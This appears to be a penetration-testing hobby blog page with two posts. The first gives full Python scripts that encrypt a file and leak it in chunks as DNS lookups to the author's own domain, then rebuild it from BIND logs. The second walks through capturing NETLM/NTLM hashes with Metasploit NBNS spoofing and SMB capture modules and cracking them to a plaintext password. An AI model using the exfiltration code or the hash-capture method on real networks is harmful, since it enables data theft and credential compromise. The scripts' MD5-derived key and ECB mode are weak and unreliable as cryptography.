Hack Whack and Smack

File Exfiltration Through DNS + Pycrypto

Sometimes you come across someone elses blog and think that’s pretty cool I should go build that…. well I came across Exfiltrate Files With DNS and found it rather interesting – the link can be found here http://16s.us/dns/. I decided that I really wanted to build this and make it work. I already have a cloud server and a domain name so it was just a case of creating a subzone and redirecting requests to the subzone(dns name server). I then installed BIND9 on my cloud server to answer the requests when they come in to the subzone.

I only encountered one issue when building the solution and that was that the parsing of the reassemble script was capturing the wrong string during the FQDN split. This was trivial to fix and I carried on and got a working solution that was transferring files which by the way is just awesome!!

I have been messing with python and was looking for something to play with so decided that it might be quite cool to implement an encryption phase that then requires a key to decrypt the file on the other side.

The downsides:

Both sides need to support python-dev and pycrypto…. well in my amendments to the script.

The upside:

An encrypted chat service or method for moving files should all the prereqs be met. As this is me just messing around I am happy to have as many prereqs as required to run the program.

So with the same base infrastructure in place and pycrypto installed on either end I put togeather the following:

The following script encrypts the data and encodes in base64 before sending across in a domain request.

#!/usr/bin/env python

from Crypto.Cipher import AES

import base64

import socket

from Crypto.Hash import MD5

 

DNS_ZONE = “file.hackwhackandsmack.com”

socket.setdefaulttimeout(1)

 

#static password can be taken as an input later

password = (‘Works for me!!’)

#generate a 32 bit key

secret = MD5.new(password).hexdigest()

 

#specify blocksize

BLOCK_SIZE = 32

#padding character

PADDING = ‘A’

pad = lambda s: s + (BLOCK_SIZE – len(s) % BLOCK_SIZE) * PADDING

EncodeAES = lambda c, s: base64.urlsafe_b64encode(c.encrypt(pad(s)))

 

cipher = AES.new(secret)

 

def break_file(filename):

try:

fp = file(filename, ‘rb’)

part = 0

while 1:

data = fp.read(32)

if data:

try:

encoded = EncodeAES(cipher, data)

part = part+1

print part

print ‘Encrypted string:’, encoded

socket.gethostbyname(encoded + DNS_ZONE)

except Exception:

continue

else:

print “Complete”

break

fp.close()

except Exception, e:

print e

 

#run

break_file(‘test.txt’)

##EOF##

 

To reassemble on the other side I used the following code:

 

from Crypto.Cipher import AES

import base64

from Crypto.Hash import MD5

 password = (‘Works for me!!’)

secret = MD5.new(password).hexdigest()

BLOCK_SIZE = 32

PADDING = ‘A’

pad = lambda s: s + (BLOCK_SIZE – len(s) % BLOCK_SIZE) * PADDING

DecodeAES = lambda c, e: c.decrypt(base64.urlsafe_b64decode(e)).rstrip(PADDING)

cipher = AES.new(secret)

file_chunks = []

def back(chunk):

encoded = chunk.split(“.”)[0]

decoded = DecodeAES(cipher, encoded)

file_chunks.append(decoded)

queries = []

fp = open(“log-encrypt.txt”)

lines = fp.readlines()

fp.close()

 

for line in lines:

if “file.hackwhackandsmack.com” in line:

if “cache” in line:

FQDN = line.split()[9]

queries.append(FQDN.strip())

 

uqueries = set(queries)

 for i in uqueries:

back(i)

 file_list = reversed(file_chunks)

file = “”.join(file_list)

print file

##EOF##

 

This is definetly not the best implementation of AES but it works and meets my minimum requirements that I set out at the start. Time at the moment will impact any further improvement in the near future.

  • Improvements would include:
  • Adding a salt to the password hash.
  • Adding an IV or nonce to the encryption algorithm.
  • Change encryption mode from default ECB.
  • Reading multiple files into the same logfile by using start and end of file markers.

I also really liked the ‘part’ section that was initially used to mark out the placement of the file chunks in the correct order. On myscript I just reverse the order of the array and pray to god that it comes through in the correct order ;-P

A demo of my script then:

The first screenshot details the initial running of the script and some verbose log messages of the file chunks:

 

 

 

The following is a screenshot of the logs taken from the bind service (this is just a section of the log file):

 

 

Lastly lets decrypt the file generated from the logs:

 

 

 

Hope this is useful to someone. Enjoy

Whacking NETLM and NETNTLM hashes

Hey Guys,

The information within this post is not new and there will be many other posts that cover similar material. However after having had a number of conversations with other pen testers it is not always something that is utilised during testing. For that reason I decided that this was something that I wanted to cover as it is cheap and cheerful and normally results in a win!

So as if LM hashing wasn’t bad enough it makes things 10x easier if we control the challenge on a NETLM hash, fortunately Metasploit has a module for this, auxiliary/server/capture/smb. This module will basically negotiate the authentication request that comes to your server on SMB and use a preset challenge seed. Now all we need to do is get clients diverted to our listening module and were good to go.

Again Metasploit provides a module to help us divert requests to our server, this time to spoof NetBIOS requests. We will use auxiliary/spoof/nbns/nbns_response. This module basically responds to any NetBIOS broadcast request. This is perfect as now we can divert any bad (mistyped server names or shares) request to our SMB module and negotiate a NETLM/NETNTLM hash.

So let’s set up the jobs:

Now we wait for either legacy config calling old mapped drives or admins/users calling shares and falling to type the name correctly.

Waiting……….. And boom a hit!

Now we have got an NTLM and LM challenge hash to break.

Fortunately this can all be done with free tools including the rainbow tables that can be downloaded at http://www.freerainbowtables.com.

The password can be deciphered using 3 steps:

  1. Break the first 7 characters with rainbow tables.
  2. Break the second 7 characters with a selection of scripts.
  3. Test the known uppercase LM password against the NTLM hash to get the actual password case sensitive.

Cracking the first part of the password

Using rcracki_mt and the rainbow tables it is possible to crack the first 7 characters of the password. The first 16 characters in the LM hash make up the first part of the password and should be passed to rcracki_mt as per below while also feeding in the location of the rainbow tables:

We can see that the first 7 charaters of the password are TRUSTNO

Cracking the second part of the password

We will use Metasploits halflm_second.rb script with the following flags:

  • -n the full LM hash
  • -p the known first part of the password from the rcracki_mt
  • -s the seed that we preset within the SMB Metasploit module.

Awesome so now we have the full password TRUSTNO11 but its all in uppercase so we still wouldnt be able to login on the console or use it else where such as database access etc.

Returning case-sensitive to the password

Cain is our friend for this one…. although there are other methods such as using john we will use Cain’s test password function. The SMB Metasploit module spits out the hashes collected in two formats one ready for john and one read for Cain. Therefore all we need to do is upload the Cain file to Cain and then test the password with the know uppercase version gathered in the previous step.

As you can see under NT Password we have the actual password Trustno11.  We have now possibly found a way into a network where there were no other known vulnerabilities. Whoop Whoop!! WIN!